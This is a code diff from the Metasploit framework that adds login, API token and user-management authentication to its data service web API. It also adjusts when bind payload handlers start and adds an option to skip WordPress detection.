# action (route) of the failure application
action: AuthServlet.api_unauthenticated_path
end
end

Binary file not shown.

After

Width:  |  Height:  |  Size: 6.7 KiB

View File

@ -1,61 +0,0 @@
<!-- HTML for static distribution bundle build -->
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Metasploit API Documentation</title>
<link href="https://fonts.googleapis.com/css?family=Open+Sans:400,700|Source+Code+Pro:300,600|Titillium+Web:400,600,700" rel="stylesheet">
<link rel="stylesheet" type="text/css" href="./swagger-ui.css" >
<link rel="icon" type="image/png" href="./favicon-32x32.png" sizes="32x32" />
<link rel="icon" type="image/png" href="./favicon-16x16.png" sizes="16x16" />
<style>
html
{
box-sizing: border-box;
overflow: -moz-scrollbars-vertical;
overflow-y: scroll;
}
*,
*:before,
*:after
{
box-sizing: inherit;
}
body
{
margin:0;
background: #fafafa;
}
</style>
</head>
<body>
<div id="swagger-ui"></div>
<script src="./swagger-ui-bundle.js"> </script>
<script src="./swagger-ui-standalone-preset.js"> </script>
<script>
window.onload = function() {
// Build a system
const ui = SwaggerUIBundle({
url: "http://petstore.swagger.io/v2/swagger.json",
dom_id: '#swagger-ui',
deepLinking: true,
presets: [
SwaggerUIBundle.presets.apis,
SwaggerUIStandalonePreset
],
plugins: [
SwaggerUIBundle.plugins.DownloadUrl
],
layout: "StandaloneLayout"
})
window.ui = ui
}
</script>
</body>
</html>

View File

@ -0,0 +1,95 @@
body {
margin:0;
}
ul {
background-color: rgb(47,47,47);
list-style-type: none;
margin: 0;
padding: 0;
overflow: hidden;
}
li {
float: left;
}
li a, .dropdown-btn {
display: inline-block;
color: white;
text-align: center;
padding: 14px 16px;
text-decoration: none;
}
li a:hover, .dropdown-menu:hover .dropdown-btn {
background-color: rgb(73,73,73);
}
li.dropdown-menu {
display: inline-block;
}
.dropdown-content {
display: none;
position: absolute;
background-color: rgb(73,73,73);
min-width: 160px;
box-shadow: 0px 8px 16px 0px rgba(0,0,0,0.2);
z-index: 1;
}
.dropdown-content a {
color: white;
padding: 12px 16px;
text-decoration: none;
display: block;
text-align: left;
}
.dropdown-content a:hover {
background-color: rgb(96,96,96);
}
.dropdown-menu:hover .dropdown-content {
display: block;
}
.api-token {
float:left;
}
#api-token-label {
font-weight: bold;
}
#api-token {
margin-left: 7px;
}
.credential-container {
border: 1px solid rgba(0, 0, 0, 0.4);
box-shadow: 0 2px 3px rgba(0, 0, 0, 0.55);
margin-left: auto;
margin-right: auto;
max-width: 390px;
min-width: 300px;
min-height: 250px;
padding: 34px;
}
input[type=text], input[type=password] {
border-color: rgba(0, 0, 0, 0.6);
border-width: 1px;
margin-bottom: 16px;
width: 100%;
height: 34px;
}
button {
border-color: rgba(0, 0, 0, 0.6);
border-width: 1px;
cursor: pointer;
width: 100%;
height: 34px;
}

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

View File

@ -0,0 +1,106 @@
module AuthServlet
def self.api_path
'/api/v1/auth'
end
def self.api_account_path
"#{AuthServlet.api_path}/account"
end
def self.api_login_path
"#{AuthServlet.api_path}/login"
end
def self.api_logout_path
"#{AuthServlet.api_path}/logout"
end
def self.api_generate_token_path
"#{AuthServlet.api_path}/generate-token"
end
def self.api_unauthenticated_path
"#{AuthServlet.api_path}/unauthenticated"
end
def self.registered(app)
app.get AuthServlet.api_account_path, &get_api_account
app.get AuthServlet.api_login_path, &get_login
app.post AuthServlet.api_login_path, &post_login
app.get AuthServlet.api_logout_path, &get_logout
app.get AuthServlet.api_generate_token_path, &get_generate_token
app.post "#{AuthServlet.api_unauthenticated_path}/?:scope?", &post_unauthenticated
end
#######
private
#######
# Get account page
def self.get_api_account
lambda {
erb :'auth/account'
}
end
# Get login page
def self.get_login
lambda {
erb :'auth/login'
}
end
# Process login request
def self.post_login
lambda {
warden.authenticate!(scope: :user)
if session[:return_to].nil? || session[:return_to] == AuthServlet.api_login_path
redirect AuthServlet.api_account_path
else
redirect session[:return_to]
end
}
end
# Process user log out
def self.get_logout
lambda {
warden.logout
redirect AuthServlet.api_account_path
}
end
# Generate a new API token for the current user
def self.get_generate_token
lambda {
# change action to drop the scope param since this is used
# by XMLHttpRequest (XHR) and we don't want a redirect
warden.authenticate!(scope: :user, action: AuthServlet.api_unauthenticated_path)
token = get_db.create_new_user_token(id: warden.user(:user).id, token_length: 40)
set_json_data_response(response: {message: "Generated new API token.", token: token})
}
end
# Handle the unauthenticated action for multiple scopes
def self.post_unauthenticated
lambda {
if !params['scope'].nil? && params['scope'] == 'user'
session[:return_to] = warden_options[:attempted_path] if session[:return_to].nil?
redirect AuthServlet.api_login_path
end
msg = warden_options[:message]
code = warden_options[:code] || 401
error = {
code: code,
message: "#{!msg.nil? ? "#{msg} " : nil}Authenticate to access this resource."
}
set_json_error_response(response: error, code: error[:code])
}
end
end

View File

@ -21,6 +21,7 @@ module CredentialServlet
def self.get_credentials
lambda {
warden.authenticate!
begin
sanitized_params = sanitize_params(params)
data = get_db.creds(sanitized_params)
@ -37,6 +38,7 @@ module CredentialServlet
def self.create_credential
lambda {
warden.authenticate!
job = lambda { |opts|
opts[:origin_type] = opts[:origin_type].to_sym if opts[:origin_type]
opts[:private_type] = opts[:private_type].to_sym if opts[:private_type]

View File

@ -14,6 +14,7 @@ module DbExportServlet
def self.get_db_export
lambda {
warden.authenticate!
begin
opts = params.symbolize_keys
opts[:path] = File.join(Msf::Config.local_directory, "#{File.basename(opts[:path])}-#{SecureRandom.hex}")

View File

@ -14,6 +14,7 @@ module EventServlet
def self.report_event
lambda {
warden.authenticate!
job = lambda { |opts| get_db().report_event(opts) }
exec_report_job(request, &job)
}

View File

@ -14,6 +14,7 @@ module ExploitServlet
def self.report_exploit
lambda {
warden.authenticate!
job = lambda { |opts|
case opts[:exploit_report_type]
when "attempt"

View File

@ -26,6 +26,7 @@ module HostServlet
def self.get_host
lambda {
warden.authenticate!
begin
opts = parse_json_request(request, false)
sanitized_params = sanitize_params(params)
@ -40,6 +41,7 @@ module HostServlet
def self.report_host
lambda {
warden.authenticate!
begin
job = lambda { |opts|
data = get_db.report_host(opts)
@ -53,6 +55,7 @@ module HostServlet
def self.update_host
lambda {
warden.authenticate!
begin
opts = parse_json_request(request, false)
tmp_params = sanitize_params(params)
@ -67,6 +70,7 @@ module HostServlet
def self.delete_host
lambda {
warden.authenticate!
begin
opts = parse_json_request(request, false)
data = get_db.delete_host(opts)
@ -80,6 +84,7 @@ module HostServlet
# TODO: remove once hosts and get_host method is merged
def self.search
lambda {
warden.authenticate!
begin
opts = parse_json_request(request, false)
data = get_db().get_host(opts)

View File

@ -21,6 +21,7 @@ module LootServlet
def self.get_loot
lambda {
warden.authenticate!
begin
opts = parse_json_request(request, false)
sanitized_params = sanitize_params(params)
@ -38,6 +39,7 @@ module LootServlet
def self.report_loot
lambda {
warden.authenticate!
job = lambda { |opts|
if opts[:data]
filename = File.basename(opts[:path])
@ -54,6 +56,7 @@ module LootServlet
def self.update_loot
lambda {
warden.authenticate!
begin
opts = parse_json_request(request, false)
tmp_params = sanitize_params(params)
@ -68,6 +71,7 @@ module LootServlet
def self.delete_loot
lambda {
warden.authenticate!
begin
opts = parse_json_request(request, false)
data = get_db.delete_loot(opts)

View File

@ -18,6 +18,7 @@ module MsfServlet
def self.get_msf_version
lambda {
warden.authenticate!
set_json_response({metasploit_version: Metasploit::Framework::VERSION})
}
end

View File

@ -14,6 +14,7 @@ module NmapServlet
def self.import_nmap_xml_file
lambda {
warden.authenticate!
job = lambda { |opts|
nmap_file = File.basename(opts[:filename])

View File

@ -21,6 +21,7 @@ module NoteServlet
def self.get_note
lambda {
warden.authenticate!
begin
opts = parse_json_request(request, false)
sanitized_params = sanitize_params(params)
@ -35,6 +36,7 @@ module NoteServlet
def self.report_note
lambda {
warden.authenticate!
begin
job = lambda { |opts|
get_db.report_note(opts)
@ -48,6 +50,7 @@ module NoteServlet
def self.update_note
lambda {
warden.authenticate!
begin
opts = parse_json_request(request, false)
tmp_params = sanitize_params(params)
@ -62,6 +65,7 @@ module NoteServlet
def self.delete_note
lambda {
warden.authenticate!
begin
opts = parse_json_request(request, false)
data = get_db.delete_note(opts)

View File

@ -21,6 +21,7 @@ module ServiceServlet
def self.get_services
lambda {
warden.authenticate!
begin
opts = sanitize_params(params)
data = get_db.services(opts)
@ -34,6 +35,7 @@ module ServiceServlet
def self.report_service
lambda {
warden.authenticate!
job = lambda { |opts| get_db.report_service(opts) }
includes = [:host]
exec_report_job(request, includes, &job)
@ -42,6 +44,7 @@ module ServiceServlet
def self.update_service
lambda {
warden.authenticate!
begin
opts = parse_json_request(request, false)
tmp_params = sanitize_params(params)
@ -56,6 +59,7 @@ module ServiceServlet
def self.delete_service
lambda {
warden.authenticate!
begin
opts = parse_json_request(request, false)
data = get_db.delete_service(opts)

View File

@ -15,6 +15,7 @@ module SessionEventServlet
def self.get_session_event
lambda {
warden.authenticate!
begin
opts = parse_json_request(request, false)
data = get_db.session_events(opts)
@ -27,6 +28,7 @@ module SessionEventServlet
def self.report_session_event
lambda {
warden.authenticate!
begin
job = lambda { |opts|
get_db.report_session_event(opts)

View File

@ -19,6 +19,7 @@ module SessionServlet
def self.get_session
lambda {
warden.authenticate!
begin
opts = parse_json_request(request, false)
sanitized_params = sanitize_params(params)
@ -33,6 +34,7 @@ module SessionServlet
def self.report_session
lambda {
warden.authenticate!
begin
job = lambda { |opts|
if opts[:session_data]

View File

@ -0,0 +1,78 @@
module UserServlet
def self.api_path
'/api/v1/users'
end
def self.api_path_with_id
"#{UserServlet.api_path}/?:id?"
end
def self.registered(app)
app.get UserServlet.api_path_with_id, &get_user
app.post UserServlet.api_path, &report_user
app.put UserServlet.api_path_with_id, &update_user
app.delete UserServlet.api_path, &delete_user
end
#######
private
#######
def self.get_user
lambda {
warden.authenticate!(scope: :admin_api)
begin
opts = parse_json_request(request, false)
sanitized_params = sanitize_params(params)
data = get_db.users(sanitized_params)
set_json_response(data)
rescue => e
set_error_on_response(e)
end
}
end
def self.report_user
lambda {
warden.authenticate!(scope: :admin_api)
begin
job = lambda { |opts|
get_db.report_user(opts)
}
exec_report_job(request, &job)
rescue => e
set_error_on_response(e)
end
}
end
def self.update_user
lambda {
warden.authenticate!(scope: :admin_api)
begin
opts = parse_json_request(request, false)
tmp_params = sanitize_params(params)
opts[:id] = tmp_params[:id] if tmp_params[:id]
data = get_db.update_user(opts)
set_json_response(data)
rescue => e
set_error_on_response(e)
end
}
end
def self.delete_user
lambda {
warden.authenticate!(scope: :admin_api)
begin
opts = parse_json_request(request, false)
data = get_db.delete_user(opts)
set_json_response(data)
rescue => e
set_error_on_response(e)
end
}
end
end

View File

@ -19,6 +19,7 @@ module VulnAttemptServlet
def self.get_vuln_attempt
lambda {
warden.authenticate!
begin
opts = parse_json_request(request, false)
data = get_db.vuln_attempts(params.symbolize_keys)
@ -31,6 +32,7 @@ module VulnAttemptServlet
def self.report_vuln_attempt
lambda {
warden.authenticate!
begin
job = lambda { |opts|
vuln_id = opts.delete(:vuln_id)

View File

@ -21,6 +21,7 @@ module VulnServlet
def self.get_vuln
lambda {
warden.authenticate!
begin
opts = parse_json_request(request, false)
sanitized_params = sanitize_params(params)
@ -35,6 +36,7 @@ module VulnServlet
def self.report_vuln
lambda {
warden.authenticate!
begin
job = lambda { |opts|
get_db.report_vuln(opts)
@ -48,6 +50,7 @@ module VulnServlet
def self.update_vuln
lambda {
warden.authenticate!
begin
opts = parse_json_request(request, false)
tmp_params = sanitize_params(params)
@ -62,6 +65,7 @@ module VulnServlet
def self.delete_vuln
lambda {
warden.authenticate!
begin
opts = parse_json_request(request, false)
data = get_db.delete_vuln(opts)

View File

@ -14,6 +14,7 @@ module WebServlet
def self.report_web
lambda {
warden.authenticate!
job = lambda { |opts| get_db().report_web_site(opts) }
exec_report_job(request, &job)
}

View File

@ -21,6 +21,7 @@ module WorkspaceServlet
def self.get_workspace
lambda {
warden.authenticate!
begin
opts = parse_json_request(request, false)
includes = nil
@ -37,6 +38,7 @@ module WorkspaceServlet
def self.add_workspace
lambda {
warden.authenticate!
begin
opts = parse_json_request(request, true)
workspace = get_db.add_workspace(opts)
@ -49,6 +51,7 @@ module WorkspaceServlet
def self.update_workspace
lambda {
warden.authenticate!
begin
opts = parse_json_request(request, false)
tmp_params = sanitize_params(params)
@ -63,6 +66,7 @@ module WorkspaceServlet
def self.delete_workspace
lambda {
warden.authenticate!
begin
opts = parse_json_request(request, false)
data = get_db.delete_workspaces(opts)

View File

@ -16,9 +16,19 @@ module ServletHelper
[200, '']
end
def set_json_response(data, includes = nil)
def set_json_response(data, includes = nil, code = 200)
headers = {'Content-Type' => 'application/json'}
[200, headers, to_json(data, includes)]
[code, headers, to_json(data, includes)]
end
def set_json_data_response(response:, includes: nil, code: 200)
data_response = {"data": response}
set_json_response(data_response, includes = includes, code = code)
end
def set_json_error_response(response:, includes: nil, code:)
error_response = {"error": response}
set_json_response(error_response, includes = includes, code = code)
end
def set_html_response(data)
@ -84,6 +94,18 @@ module ServletHelper
response
end
# Get Warden::Proxy object from the Rack environment.
# @return [Warden::Proxy] The Warden::Proxy object from the Rack environment.
def warden
env['warden']
end
# Get Warden options hash from the Rack environment.
# @return [Hash] The Warden options hash from the Rack environment.
def warden_options
env['warden.options']
end
#######
private
#######

View File

@ -1,45 +0,0 @@
require 'sinatra/base'
require 'swagger/blocks'
require 'msf/core/db_manager/http/servlet_helper'
require 'msf/core/db_manager/http/servlet/api_docs_servlet'
require 'msf/core/db_manager/http/servlet/host_servlet'
require 'msf/core/db_manager/http/servlet/note_servlet'
require 'msf/core/db_manager/http/servlet/vuln_servlet'
require 'msf/core/db_manager/http/servlet/event_servlet'
require 'msf/core/db_manager/http/servlet/web_servlet'
require 'msf/core/db_manager/http/servlet/msf_servlet'
require 'msf/core/db_manager/http/servlet/workspace_servlet'
require 'msf/core/db_manager/http/servlet/service_servlet'
require 'msf/core/db_manager/http/servlet/session_servlet'
require 'msf/core/db_manager/http/servlet/exploit_servlet'
require 'msf/core/db_manager/http/servlet/loot_servlet'
require 'msf/core/db_manager/http/servlet/session_event_servlet'
require 'msf/core/db_manager/http/servlet/credential_servlet'
require 'msf/core/db_manager/http/servlet/login_servlet'
require 'msf/core/db_manager/http/servlet/nmap_servlet'
require 'msf/core/db_manager/http/servlet/db_export_servlet'
require 'msf/core/db_manager/http/servlet/vuln_attempt_servlet'
class SinatraApp < Sinatra::Base
helpers ServletHelper
# Servlet registration
register ApiDocsServlet
register HostServlet
register VulnServlet
register EventServlet
register WebServlet
register MsfServlet
register NoteServlet
register WorkspaceServlet
register ServiceServlet
register SessionServlet
register ExploitServlet
register LootServlet
register SessionEventServlet
register CredentialServlet
register LoginServlet
register NmapServlet
register DbExportServlet
register VulnAttemptServlet
end

View File

@ -67,8 +67,8 @@
<div id="swagger-ui"></div>
<script src="/swagger-ui-bundle.js"> </script>
<script src="/swagger-ui-standalone-preset.js"> </script>
<script src="//unpkg.com/swagger-ui-dist@3/swagger-ui-bundle.js"></script>
<script src="//unpkg.com/swagger-ui-dist@3/swagger-ui-standalone-preset.js"> </script>
<script>
window.onload = function() {
// Build a system
@ -87,4 +87,4 @@
</script>
</body>
</html>
</html>

View File

@ -0,0 +1,68 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Account - Metasploit API</title>
<link rel="stylesheet" type="text/css" href="/msf-ws.css">
</head>
<body>
<script type="text/javascript">
function getNewApiToken() {
loadDoc("GET", "<%= AuthServlet.api_generate_token_path %>", function(xhr) {
var response = JSON.parse(xhr.responseText);
document.getElementById("api-token").innerHTML = response.data.token;
}, errorHandler);
event.preventDefault();
}
function errorHandler(xhr) {
if (xhr.status == 401) {
window.location.reload(true);
}
}
function loadDoc(method, url, callback, errorCallback) {
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (this.readyState == 4) {
if (this.status == 200) {
callback(this);
} else if (this.status >= 400) {
errorCallback(this);
}
}
};
xhr.open(method, url, true);
xhr.send();
}
</script>
<ul>
<% if warden.authenticated?(:user) %>
<li class="dropdown-menu">
<a href="javascript:void(0)" class="dropdown-btn"><%= warden.user(:user).username %></a>
<div class="dropdown-content">
<a href="#" onclick="getNewApiToken();">Generate New API Token</a>
<a href="<%= AuthServlet.api_logout_path %>">Log Out</a>
</div>
</li>
<% else %>
<li><a href="<%= AuthServlet.api_login_path %>">Log In</a></li>
<% end %>
<li><a href="<%= ApiDocsServlet.html_path %>">API Documentation</a></li>
</ul>
<div style="padding:20px;">
<h1>Metasploit API Account</h1>
<% if warden.authenticated?(:user) %>
<div id="api-token-label" class="api-token">Current API Token:</div>
<div id="api-token" class="api-token">
<%= !warden.user(:user).nil? && !warden.user(:user).persistence_token.nil? ? warden.user(:user).persistence_token : 'none' %>
</div>
<% end %>
</div>
</body>
</html>

View File

@ -0,0 +1,26 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Log In - Metasploit API</title>
<link rel="stylesheet" type="text/css" href="/msf-ws.css">
</head>
<body>
<div style="padding:20px;">
<form action="<%= AuthServlet.api_login_path %>" method="post">
<div class="credential-container">
<h2>Log In - Metasploit API</h2>
<label for="username"><b>Username</b></label>
<input type="text" placeholder="Enter Username" name="username" required>
<label for="password"><b>Password</b></label>
<input type="password" placeholder="Enter Password" name="password" required>
<button type="submit">Log In</button>
</div>
</form>
</div>
</body>
</html>

View File

@ -0,0 +1,139 @@
require 'bcrypt'
require 'sysrandom/securerandom'
module Msf::DBManager::User
MIN_TOKEN_LENGTH = 20
# Returns a list of all users in the database
def users(opts)
::ActiveRecord::Base.connection_pool.with_connection {
search_term = opts.delete(:search_term)
if search_term && !search_term.empty?
column_search_conditions = Msf::Util::DBManager.create_all_column_search_conditions(Mdm::User, search_term)
Mdm::User.where(opts).where(column_search_conditions)
else
Mdm::User.where(opts)
end
}
end
#
# Report a user's attributes.
#
# The opts parameter MUST contain:
# +:username+:: -- the username
# +:password+:: -- the users's cleartext password
#
# The opts parameter can contain:
# +:fullname+:: -- the users's fullname
# +:email+:: -- the users's email
# +:phone+:: -- the users's phone
# +:email+:: -- the users's email
# +:company+:: -- the users's company
# +:prefs+:: -- [Hash] the users's preferences
# +:admin+:: -- [Boolean] True if the user is an admin; otherwise, false.
#
# @return [Mdm::User] The reported Mdm::User object.
def report_user(opts)
return unless active
raise ArgumentError.new("Missing required option :username") if opts[:username].nil?
raise ArgumentError.new("Missing required option :password") if opts[:password].nil?
::ActiveRecord::Base.connection_pool.with_connection {
conditions = {username: opts[:username]}
user = Mdm::User.where(conditions).first_or_initialize
opts.each do |k,v|
if user.attribute_names.include?(k.to_s)
user[k] = v
elsif !v.blank?
dlog("Unknown attribute for ::Mdm::User: #{k}")
end
end
user.crypted_password = BCrypt::Password.create(opts[:password])
user.admin = false if opts[:admin].nil?
# Finalize
if user.changed?
msf_import_timestamps(opts, user)
user.save!
end
user
}
end
# Update the attributes of a user entry with the values in opts.
# The values in opts should match the attributes to update.
#
# @param opts [Hash] Hash containing the updated values. Key should match the attribute to update. Must contain :id of record to update.
# @return [Mdm::User] The updated Mdm::User object.
def update_user(opts)
::ActiveRecord::Base.connection_pool.with_connection {
id = opts.delete(:id)
Mdm::User.update(id, opts)
}
end
# Deletes user entries based on the IDs passed in.
#
# @param opts[:ids] [Array] Array containing Integers corresponding to the IDs of the user entries to delete.
# @return [Array] Array containing the Mdm::User objects that were successfully deleted.
def delete_user(opts)
raise ArgumentError.new("The following options are required: :ids") if opts[:ids].nil?
::ActiveRecord::Base.connection_pool.with_connection {
deleted = []
opts[:ids].each do |user_id|
user = Mdm::User.find(user_id)
begin
deleted << user.destroy
rescue # refs suck
elog("Forcibly deleting #{user}")
deleted << user.delete
end
end
return deleted
}
end
# Authenticates the user.
#
# @param opts[:ids] [Integer] ID of the user to authenticate.
# @param opts[:password] [String] The user's password.
# @return [Boolean] True if the user is successfully authenticated; otherwise, false.
def authenticate_user(opts)
raise ArgumentError.new("The following options are required: :id") if opts[:id].nil?
raise ArgumentError.new("The following options are required: :password") if opts[:password].nil?
user = Mdm::User.find(opts[:id])
begin
!user.nil? && BCrypt::Password.new(user.crypted_password) == opts[:password]
rescue BCrypt::Errors::InvalidHash
false
end
end
# Creates a new API token for the user.
#
# The opts parameter MUST contain:
# @param opts[:ids] [Integer] ID for the user.
#
# The opts parameter can contain:
# @param opts[:token_length] [Integer] Token length.
#
# @return [String] The new API token.
def create_new_user_token(opts)
raise ArgumentError.new("The following options are required: :id") if opts[:id].nil?
token_length = opts[:token_length] || MIN_TOKEN_LENGTH
# NOTE: repurposing persistence_token in the database as the API token
Mdm::User.update(opts[:id], {persistence_token: SecureRandom.hex(token_length)}).persistence_token
end
end

View File

@ -330,16 +330,12 @@ class Exploit < Msf::Module
], Msf::Exploit)
end
# Allow all exploits to leverage context keyed encoding
register_advanced_options(
[
# Allow all exploits to leverage context keyed encoding
OptBool.new('EnableContextEncoding', [ false, "Use transient context when encoding payloads", false ]),
OptPath.new('ContextInformationFile', [ false, "The information file that contains context information", nil ])
], Msf::Exploit)
# Allow all exploits to disable their payload handlers
register_advanced_options(
[
OptPath.new('ContextInformationFile', [ false, "The information file that contains context information", nil ]),
# Allow all exploits to disable their payload handlers
OptBool.new('DisablePayloadHandler', [ false, "Disable the handler code for the selected payload", false ])
], Msf::Exploit)
end
@ -438,9 +434,11 @@ class Exploit < Msf::Module
# Set up the payload handlers
payload_instance.setup_handler
# Defer starting bind handlers until after exploit completion
return if handler_bind?
# Start the payload handler
payload_instance.start_handler
end
#
@ -1240,7 +1238,14 @@ class Exploit < Msf::Module
# Allow the user to disable the payload handler
#
def handler_enabled?
not datastore['DisablePayloadHandler']
!datastore['DisablePayloadHandler']
end
#
# If the payload uses a bind handler
#
def handler_bind?
payload_instance && payload_instance.connection_type == 'bind'
end
##
@ -1284,6 +1289,9 @@ class Exploit < Msf::Module
# A boolean for whether a session has been created yet
#
def session_created?
# Start bind handlers before checking session creation
payload_instance.start_handler if handler_bind?
(self.session_count > 0) ? true : false
end

View File

@ -38,7 +38,8 @@ module Msf
register_advanced_options(
[
Msf::OptString.new('WPCONTENTDIR', [true, 'The name of the wp-content directory', 'wp-content'])
Msf::OptString.new('WPCONTENTDIR', [true, 'The name of the wp-content directory', 'wp-content']),
Msf::OptBool.new('WPCHECK', [true, 'Check if the website is a valid WordPress install', true]),
], Msf::Exploit::Remote::HTTP::Wordpress
)
end

View File

@ -5,6 +5,11 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Base
#
# @return [Rex::Proto::Http::Response,nil] Returns the HTTP response if the site is online and running wordpress, nil otherwise
def wordpress_and_online?
unless datastore['WPCHECK']
vprint_status 'Skipping WordPress check...'
return true
end
wordpress_detect_regexes = [
/["'][^"']*\/#{Regexp.escape(wp_content_dir)}\/[^"']*["']/i,
/<link rel=["']wlwmanifest["'].*href=["'].*\/wp-includes\/wlwmanifest\.xml["'] \/>/i,

View File

@ -214,11 +214,13 @@ protected
exploit.handle_exception e
end
# Start bind handlers after exploit completion
payload.start_handler if exploit.handler_bind?
# Wait the payload to acquire a session if this isn't a passive-style
# exploit.
return if not delay
if (force_wait_for_session == true) or
(exploit.passive? == false and exploit.handler_enabled?)
begin

View File

@ -285,6 +285,7 @@ module Msf
print_status("Started #{human_name} handler against #{rhost}:#{lport}")
# First, create a socket and connect to the SMB service
vprint_status("Connecting to #{rhost}:#{lport}")
begin
sock = Rex::Socket::Tcp.create(
'PeerHost' => rhost,

View File

@ -117,6 +117,10 @@ class Msf::Module::SiteReference < Msf::Module::Reference
self.site = in_ctx_val.to_s
elsif in_ctx_id == 'AKA'
self.site = "Also known as: #{in_ctx_val}"
elsif in_ctx_id == 'LOGO'
self.site = "Logo: #{in_ctx_val}"
elsif in_ctx_id == 'SOUNDTRACK'
self.site = "Soundtrack: #{in_ctx_val}"
else
self.site = in_ctx_id
self.site += " (#{in_ctx_val})" if (in_ctx_val)

Some files were not shown because too many files have changed in this diff Show More